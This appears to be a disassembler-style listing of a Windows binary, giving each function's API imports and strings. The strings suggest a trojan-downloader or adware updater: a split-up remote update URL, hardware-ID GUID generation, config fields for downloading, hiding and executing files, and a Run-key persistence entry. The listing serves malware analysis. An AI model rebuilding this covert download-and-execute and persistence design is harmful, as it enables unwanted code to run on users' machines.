sub_outside():
	MSVCRT._CxxThrowException
	KERNEL32.CreateFileA
	NTDLL.RtlGetLastWin32Error
	KERNEL32.CreateFileMappingA
	KERNEL32.MapViewOfFile
	KERNEL32.UnmapViewOfFile
	KERNEL32.CloseHandle
	KERNEL32.ReadFile
	NTDLL.RtlSetLastWin32Error
	MSVCRT.memset
	SHELL32.SHFileOperationA
	KERNEL32.GetCurrentDirectoryA
	KERNEL32.RemoveDirectoryA
	KERNEL32.SetFileAttributesA
	KERNEL32.GetFileAttributesA
	MSVCRT.fopen
	MSVCRT.malloc
	MSVCRT.fread
	MSVCRT.fclose
	MSVCRT.free
	ADVAPI32.RegCreateKeyExA
	ADVAPI32.RegSetValueExA
	ADVAPI32.RegCloseKey
	MSVCRT.strlen
	MSVCRT.strncpy
	MSVCRT.strcpy
	MSVCRT.__set_app_type
	MSVCRT.__p__fmode
	MSVCRT.__p__commode
	MSVCRT.__setusermatherr
	MSVCRT._initterm
	MSVCRT.__getmainargs
	KERNEL32.GetStartupInfoA
	KERNEL32.GetModuleHandleA
	MSVCRT.exit
	MSVCRT._XcptFilter
	MSVCRT._exit
sub_40E48B(054d):
	KERNEL32.CloseHandle
sub_407060(0932):
	ADVAPI32.RegCreateKeyExA
	ADVAPI32.RegSetValueExA
	ADVAPI32.RegCloseKey
sub_411944(09e7):
	MSVCRT.wcslen
	KERNEL32.WideCharToMultiByte
	NTDLL.RtlGetLastWin32Error
sub_40671B(0aef):
	"\\"
	"\\"
	"\\"
	"\\"
sub_405049(0d44):
	KERNEL32.Sleep
sub_404605(0f3d):
	MSVCRT._EH_prolog
	MSVCRT.strlen
	MSVCRT.strcpy
	MSVCRT.strstr
	MSVCRT.strncpy
	MSVCRT.strcat
	KERNEL32.Sleep
sub_4106AB(13d8):
	MSVCRT.strcpy
	MSVCRT.strcat
	KERNEL32.CreateDirectoryA
sub_4057AB(1435):
	MSVCRT._EH_prolog
	KERNEL32.Sleep

	"W"
	"R"
	"i"
	","
sub_402BB1(1645):
	MSVCRT._EH_prolog
sub_402680(1652):
	MSVCRT._mbsnbcpy
sub_408D9F(1b44):
	KERNEL32.lstrcpyA
	KERNEL32.lstrlenA
	USER32.wsprintfA
	MSVCRT.strcpy
	MSVCRT.memset
	MSVCRT._strnicmp

	"old"
sub_40E901(2398):
	MSVCRT.malloc
	MSVCRT.free
sub_4107B2(2439):
	MSVCRT.strcpy
	KERNEL32.CreateFileA
	KERNEL32.WriteFile
	KERNEL32.GetFileType
	KERNEL32.SetFileTime
	KERNEL32.CloseHandle

	"../"
	"..\\"
sub_407551(25ef):
	ADVAPI32.RegCreateKeyExA
	ADVAPI32.RegSetValueExA
	ADVAPI32.RegCloseKey
sub_40657F(25ef):
	ADVAPI32.RegCreateKeyExA
	ADVAPI32.RegSetValueExA
	ADVAPI32.RegCloseKey
sub_4118CF(2992):
	KERNEL32.lstrlenA
	KERNEL32.MultiByteToWideChar
	NTDLL.RtlGetLastWin32Error
sub_407913(2c3b):
	ADVAPI32.RegOpenKeyExA
	ADVAPI32.RegQueryValueExA
	ADVAPI32.RegCloseKey
sub_40AF6D(2f12):
	MSVCRT.memcpy

	"invalid block type"
	"invalid stored block lengths"
	"too many	length or distance symbols"
	"invalid bit length repeat"
sub_4026DB(338e):
	KERNEL32.CreateFileA
	KERNEL32.WriteFile
	KERNEL32.CloseHandle
	KERNEL32.GlobalFree
sub_4105D7(356f):
	MSVCRT.memset
sub_4093D8(35ce):
	KERNEL32.Sleep
sub_406374(3845):
	"\\"
	"\\"
	"\\"
	"\\"
sub_4024B5(39db):
	MSVCRT.ftell
	MSVCRT.fseek
sub_403488(3b5d):
	MSVCRT._EH_prolog
	MSVCRT.sprintf
	MSVCRT.atol
	MSVCRT.time
	KERNEL32.lstrcpyA
	MSVCRT.atoi
	MSVCRT._strnicmp
	MSVCRT.strcpy
	MSVCRT.strcat

	"ParseXML()\n"
	"%s"
	"configversion"
	"WR\\configversion"
	"paid"
	"WR\\p"
	"nextupdate"
	"WR\\nextupdate"
	"download"
	"%s"
	"rootkey"
	"key"
	"keyvalue"
	"requiredfile"
	"filename"
	"parameters"
	"SaveAs"
	"SavePath"
	"hide"
	"execute"
	"wait"
	"newupdater"
	"version"
	"identifier"
	"crc"
	"windows"
	"%s"
sub_40146A(3c3c):
	MSVCRT._CxxThrowException
	KERNEL32.CreateFileA
	NTDLL.RtlGetLastWin32Error
	KERNEL32.ReadFile
	KERNEL32.CloseHandle
sub_40D9A5(3cf8):
	MSVCRT.calloc
sub_40DAB5(3ea0):
	"1.1.3"
sub_4091F5(4060):
	MSVCRT.time
	KERNEL32.Sleep
sub_4030F7(4085):
	MSVCRT._EH_prolog
	KERNEL32.Sleep
	KERNEL32.lstrcpynA
	MSVCRT.sprintf
	MSVCRT.strcat
	MSVCRT.strcpy
sub_40EA92(459c):
	MSVCRT.malloc
sub_405B91(4766):
	MSVCRT._EH_prolog
	KERNEL32.lstrcpyA
	KERNEL32.lstrlenA
	USER32.wsprintfA
	MSVCRT.strcpy
	MSVCRT.memset
	MSVCRT._strnicmp
	MSVCRT.strlen
	KERNEL32.Sleep

	"affID"
sub_401ACF(48e4):
	MSVCRT.memset
	MSVCRT.sprintf
	KERNEL32.lstrcatA

	"97"
	"97"
	"97"
sub_40592B(4fe3):
	MSVCRT._EH_prolog
	KERNEL32.Sleep
	MSVCRT._mbscmp

	"W"
	"R"
	"cmd"
	"0"
sub_402F1E(52c2):
	KERNEL32.lstrcpyA
	MSVCRT.sprintf
	KERNEL32.lstrcatA
	KERNEL32.Sleep

	"&retry=%d"
sub_404484(5608):
	MSVCRT._EH_prolog

	"download"
sub_40A04E(605a):
	"invalid literal/length code"
	"invalid distance	code"
sub_4027A4(638c):
	KERNEL32.GlobalFree
	KERNEL32.LoadLibraryA
	KERNEL32.GetProcAddress
	KERNEL32.GlobalAlloc
	KERNEL32.GlobalReAlloc
	MSVCRT.memcpy
	KERNEL32.FreeLibrary

	"wininet.dll"
	"InternetOpenUrlA"
	"InternetCloseHandle"
	"InternetReadFile"
sub_404AAE(6792):
	MSVCRT._EH_prolog
sub_4021DB(6c26):
	MSVCRT.memset
	KERNEL32.FindFirstFileA
	KERNEL32.FindNextFileA
	KERNEL32.FindClose
sub_402C48(71df):
	KERNEL32.lstrcpyA
	KERNEL32.lstrcatA
	KERNEL32.Sleep
	MSVCRT.memset
	KERNEL32.WaitForSingleObject

	".bin"
	"InstallZip()\n"
	"crc failed:"
	".old"
	"crc ok,	Install("
	")"
	"OPEN"
sub_40FCA7(741f):
	MSVCRT.free
sub_406909(7482):
	ADVAPI32.RegOpenKeyExA
	ADVAPI32.RegQueryValueExA
	ADVAPI32.RegCloseKey
sub_40DC35(74b1):
	"unknown compression method"
	"invalid window size"
	"incorrect header	check"
	"need dictionary"
	"incorrect data check"
sub_402A1E(75ad):
	MSVCRT._EH_prolog
	KERNEL32.GetWindowsDirectoryA
	KERNEL32.GetModuleFileNameA
	KERNEL32.Sleep
	USER32.wsprintfA

	"%d"
sub_404B40(7908):
	MSVCRT._EH_prolog
	KERNEL32.lstrcpyA
	KERNEL32.lstrcatA
	KERNEL32.GetWindowsDirectoryA
	KERNEL32.GetVolumeInformationA
	USER32.wsprintfA
	USER32.CharUpperA
	KERNEL32.Sleep
	KERNEL32.GetSystemDefaultLCID
	KERNEL32.lstrlenA
	KERNEL32.GetLocaleInfoA

	"%04X"
	"{"
	"%08X"
	"HARDWARE\\DESCRIPTION\\System\\CentralProc"...
	"%04X"
	"-"
	"HARDWARE\\DESCRIPTION\\System\\SystemBiosD"...
	"-0000-00"
	"0A887397A5F240675EEF4D35019B6883A6FA5D6"...
	"000001"
	"}"
sub_404151(792e):
	MSVCRT._EH_prolog
sub_40F30A(7c4d):
	MSVCRT.strlen
	MSVCRT.strcpy
sub_40E4EF(7f88):
	KERNEL32.SetFilePointer
sub_404347(7fd1):
	MSVCRT._EH_prolog
sub_40831F(826b):
	MSVCRT.sprintf
	KERNEL32.lstrcpyA
	KERNEL32.Sleep
	KERNEL32.lstrcatA
	KERNEL32.lstrcpynA
	NTDLL.RtlGetLastWin32Error
	MSVCRT.malloc
	MSVCRT.memset
	MSVCRT.free

	"%d"
	"&x="
	"&i="
	"&p="
	"&cmd="
	"&GUID="
	"&version="
	"htt"
	"p://"
	"wr.mc"
	"boo.co"
	"m/reta"
	"dpu.php?"
sub_40FF4C(858e):
	MSVCRT.memcpy
	MSVCRT.strcpy
	KERNEL32.DosDateTimeToFileTime
	MSVCRT.strcmp

	"UT"
sub_40D9CF(86fe):
	MSVCRT.free
sub_408180(87ee):
	USER32.EqualRect
sub_40543F(8c0e):
	MSVCRT._EH_prolog
	KERNEL32.Sleep
	MSVCRT.time

	"WR"
	"nex"
	"tup"
	"date"
sub_404216(8cac):
	KERNEL32.InterlockedDecrement
sub_402296(8f2d):
	KERNEL32.GetCurrentDirectoryA
	MSVCRT.strlen
	MSVCRT.strcpy
	KERNEL32.SetCurrentDirectoryA
sub_40558C(955b):
	MSVCRT._EH_prolog
	KERNEL32.Sleep

	"WR"
	"p"
sub_402EC9(95e7):
	MSVCRT._EH_prolog
sub_40ECA8(963d):
	MSVCRT.free
sub_402199(968a):
	KERNEL32.CreateDirectoryA
sub_405A64(9860):
	MSVCRT._EH_prolog
	KERNEL32.Sleep

	"W"
	"R"
	"c"
	"md"
sub_405E1F(9c51):
	MSVCRT._EH_prolog
	KERNEL32.Sleep
	MSVCRT._mbscmp
	MSVCRT.atoi

	"\\m"
	"ro"
	"finu"
	".ex"
	"e"
	"mr"
	"of"
	"inu"
	".exe.tmp"
	"defaultvalue"
	"11866787A5F240675EE6610530A652BC94C74E7"...
	"WR"
	"\\version"
sub_411800(9c9a):
	MSVCRT._controlfp
sub_401C92(9f30):
	NTDLL.RtlSetLastWin32Error
	MSVCRT.memset
	KERNEL32.Sleep
	SHELL32.SHFileOperationA
sub_40FE9E(a03c):
	KERNEL32.GetCurrentDirectoryA
	MSVCRT.strcat
	KERNEL32.GetFileType

	"\\"
sub_409770(a21d):
	KERNEL32.InterlockedIncrement
sub_406208(a5b4):
	MSVCRT._EH_prolog
	KERNEL32.LoadLibraryA
	KERNEL32.GetProcAddress
	KERNEL32.Sleep
	KERNEL32.lstrcpyA
	KERNEL32.FreeLibrary

	"shell32.dll"
	"ShellExecuteEx"
	"sei \n"
sub_405543(af01):
	KERNEL32.CreateMutexA
	NTDLL.RtlGetLastWin32Error
	KERNEL32.CloseHandle
sub_405327(b058):
	MSVCRT._EH_prolog
	KERNEL32.Sleep

	"WR"
	"confi"
	"gversion"
sub_405693(b058):
	MSVCRT._EH_prolog
	KERNEL32.Sleep

	"W"
	"R"
	"i"
sub_407400(b267):
	ADVAPI32.RegOpenKeyExA
	ADVAPI32.RegQueryValueExA
	ADVAPI32.RegCloseKey
sub_40CE56(b45b):
	"invalid distance	code"
	"invalid literal/length code"
sub_40E53B(b76e):
	KERNEL32.SetFilePointer
sub_40CBFE(ba1a):
	"oversubscribed dynamic bit lengths tree"...
	"incomplete dynamic bit lengths tree"
sub_409E20(bae0):
	MSVCRT.memcpy
sub_40F6B0(beac):
	MSVCRT.malloc
	MSVCRT.free
sub_402435(bf61):
	MSVCRT.strlen
	MSVCRT.toupper
sub_411646(c12a):
	MSVCRT._onexit
	MSVCRT.__dllonexit
sub_409A40(c143):
	KERNEL32.LocalFree
sub_404A2D(c8e0):
	KERNEL32.SetCurrentDirectoryA
sub_406EDD(cb50):
	ADVAPI32.RegOpenKeyExA
	ADVAPI32.RegQueryValueExA
	ADVAPI32.RegCloseKey
sub_40FE22(cc4c):
	MSVCRT.gmtime
	KERNEL32.SystemTimeToFileTime
sub_408150(cc75):
	USER32.CopyRect
sub_40239F(d371):
	MSVCRT.strlen
	MSVCRT.toupper
sub_40E8D4(d803):
	MSVCRT.strcmp
sub_4033A7(d83f):
	KERNEL32.lstrcpyA
sub_411A14(dc43):
	MSVCRT._CxxThrowException
sub_40CCA6(dd13):
	"oversubscribed literal/length tree"
	"incomplete literal/length tree"
	"oversubscribed distance tree"
	"incomplete distance tree"
	"empty distance tree with	lengths"
sub_40E610(dd1e):
	KERNEL32.ReadFile
	MSVCRT.memcpy
sub_401D8A(de74):
	NTDLL.RtlSetLastWin32Error
	MSVCRT.memset
	SHELL32.SHFileOperationA
sub_402FAF(e014):
	MSVCRT._EH_prolog
	MSVCRT.sprintf
	MSVCRT.strcat

	"%02X"
sub_405150(e07b):
	MSVCRT._EH_prolog
	KERNEL32.Sleep
	MSVCRT._mbscmp

	"SOFTWARE\\Microso"
	"ft\\Windows\\Curren"
	"tVersion\\R"
	"un\\ru"
	"nner1"
	"defaultvalue"
	" "
sub_4080F0(ebb0):
	MSVCRT._mbscmp
sub_4114A0(ebb0):
	MSVCRT._mbsstr
sub_40E2F9(ec84):
	KERNEL32.GetCurrentProcess
	KERNEL32.DuplicateHandle
	KERNEL32.CreateFileA
	KERNEL32.GetFileType
	KERNEL32.SetFilePointer
sub_407A74(f016):
	ADVAPI32.RegCreateKeyExA
	ADVAPI32.RegSetValueExA
	ADVAPI32.RegCloseKey
sub_406AB3(f016):
	ADVAPI32.RegCreateKeyExA
	ADVAPI32.RegSetValueExA
	ADVAPI32.RegCloseKey
sub_401109(f546):
	KERNEL32.GetFileSize
	NTDLL.RtlGetLastWin32Error
sub_407E59(f6ae):
	ADVAPI32.RegOpenKeyExA
	ADVAPI32.RegQueryValueExA
	ADVAPI32.RegCloseKey
sub_4064D9(f6ae):
	ADVAPI32.RegOpenKeyExA
	ADVAPI32.RegQueryValueExA
	ADVAPI32.RegCloseKey
sub_403287(f880):
	MSVCRT._strdup
	MSVCRT._mbsupr
	MSVCRT.free